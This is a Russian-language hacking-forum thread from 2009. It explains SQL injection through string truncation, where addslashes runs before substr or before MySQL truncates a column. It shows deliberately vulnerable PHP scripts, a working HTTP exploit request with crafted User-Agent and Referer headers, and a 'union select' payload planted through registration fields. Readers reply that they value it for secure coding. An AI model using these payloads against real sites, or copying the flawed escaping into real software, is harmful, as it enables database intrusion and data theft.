PDA

Просмотр полной версии : sql инъекции, там где их на первый взгляд нет.


(Dm)
07.11.2009, 21:41
На основе PHP + MYSQL

[ + ] Рассмотрим вариант проведение sql injection с использованием функций усечения строк, на примере функции substr

Структура БД:
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, ip varchar(16), useragent varchar(255), referer varchar(255));

Скрипт:
<?php
mysql_connect('localhost', 'root', 'secretpasswd');
mysql_select_db('antichat');

//Экранируем кавычки и опасные символы
$useragent = addslashes($_SERVER['HTTP_USER_AGENT']);
$ip = addslashes($_SERVER['REMOTE_ADDR']);
$referer = addslashes($_SERVER['HTTP_REFERER']);

//Добавляем запись
$sql = "INSERT INTO stats (ip, useragent, referer)
VALUES ('".substr($ip, 0, 16)."', '".substr($useragent, 0, 255)."', '".substr($referer, 0, 255)."')";

mysql_query($sql);
mysql_close();
?>


Описание:
В этом скрипте переменные усекаются с помощью функции substr, в соответствие с размерностью столбцов. Как видно слэширование опасных символов, производится до усечения переменных. Все это дает нам возможность произвести sql injection.
Для этого, мы должны передать в HTTP_USER_AGENT следующую строку aaa[254]' (т.е 254 символа "a", при этом 255 символ "'"), но после выполнения функции addslashes, получим строку aaa[254]\', а функция substr усечет её до aaa[254]\.

Посмотрим на запрос:
INSERT INTO stats (ip, useragent, referer)
VALUES ('127.0.0.1', 'aaa[254]\', 'тут referer')";

Видим, что слэш "\" экранировал "'", и в итоге через переменную referer мы можем передать произвольную sql конструкцию.

Пример сплоита:

GET /script1.php HTTP/1.1
Host: host
User-Agent: aaa[254]'
Referer: , (SELECT user()))#
Connection: close

Получим:
INSERT INTO stats (ip, useragent, referer)
VALUES ('127.0.0.1', 'aaa[254]\', ', (SELECT user()))# ')";
Запрос успешно выполнится.

[ + ] Рассмотрим более сложный вариант проведения sql injection с помошью усечения строк в mysql.

Представим что есть скрипт регистрации пользователей, неважно форум это или онлайн игра и т.п.
По мимо обычных полей (таких как логин, пароль и т.п.), есть ещё поле интересы, для того чтобы можно было искать единомышленников по общим интересам...

Структура БД:
CREATE TABLE users (login varchar(20) NOT NULL PRIMARY KEY, passwd varchar(32) NOT NULL, hobby varchar(50), city varchar(50));

Скрипт регистрации:

<?php
mysql_connect('localhost', 'root', 'secretpasswd');
mysql_select_db('antichat');

if (!empty($_POST['login']) && !empty($_POST['passwd']) && !empty($_POST['hobby']) && !empty($_POST['city'])) {
//фильтруем переменные
$login = addslashes($_POST['login']);
$passwd = md5($_POST['passwd']);
$hobby = addslashes($_POST['hobby']);
$city = addslashes($_POST['city']);

//добовляем нового пользователя
$sql = "INSERT INTO users (login, passwd, city, hobby)
VALUES ('".$login."', '".$passwd."', '".$city."', '".$hobby."')";
}
mysql_close();

?>

Скрипт авторизации пользователя, поиск людей с общими интересами:

<?php

mysql_connect('localhost', 'root', 'secretpasswd');
mysql_select_db('antichat');

if (!empty($_POST['login']) && !empty($_POST['passwd'])) {
//Запрос авторизации
$sql = "SELECT * FROM users
WHERE login = '".addslashes($_POST['login'])."' and passwd = '".md5($_POST['passwd'])."'";
$result = mysql_query($sql);
if (mysql_num_rows($result) > 0) {
$row = mysql_fetch_assoc($result);

//Ищем земляков с похожими интересами ^_^
$sql = "SELECT login FROM users
WHERE hobby = '".$row['hobby']."' and city = '".$row['city']."'";

$result = mysql_query($sql);
//Собственно выводим найденых пользователей
echo '<pre>';
while ($row = mysql_fetch_assoc($result)) {
echo $row['login']."\n";
}
echo '</pre>';
}

}
mysql_close();

?>

Описание:
Для начала следует ознакомиться с этим http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/

И так, зарегистрируем пользователя:
логин: test
пароль: test
интересы: aaa[49]'
город: union select version() #

В результате будет зарегистрирован пользователь с интересами: aaa[49]\ , потому что "'", будет экранирована, а при добавлении в БД, mysql обрежет строки основываясь на типах. (поле hobby имеет длину 50 символов)

Далее, авторизуемся пользователем test.
И при поиске пользователей с общими интересами будет выполнен запрос:

SELECT login FROM users
WHERE hobby = 'aaa[49]\' and city = ' union select version() #'

Вот собственно и инъекция.

v1d0qz
07.11.2009, 22:07
Хотелось бы заметить, что статья очень полезная.. Буду учитывать данные асепекты при написании кода. Раньше этого не знал.
Вывод, не вставлять substr в запрос и не забывать правильно фильтровать поля.

зы. Хотелось бы ещё почитать статьи такого плана как у вас. Ткните пальцем где))

(Dm)
07.11.2009, 22:18
Хотелось бы заметить, что статья очень полезная.. Буду учитывать данные асепекты при написании кода. Раньше этого не знал.
Вывод, не вставлять substr в запрос и не забывать правильно фильтровать поля.

зы. Хотелось бы ещё почитать статьи такого плана как у вас. Ткните пальцем где))
тут глянь
https://forum.antichat.ru/thread148918.html
https://forum.antichat.ru/thread56756.html
https://forum.antichat.ru/thread54355.html

Ded MustD!e
07.11.2009, 22:23
собственно об этом уже писал Elekt, ничего нового. https://forum.antichat.ru/showpost.php?p=970729&postcount=3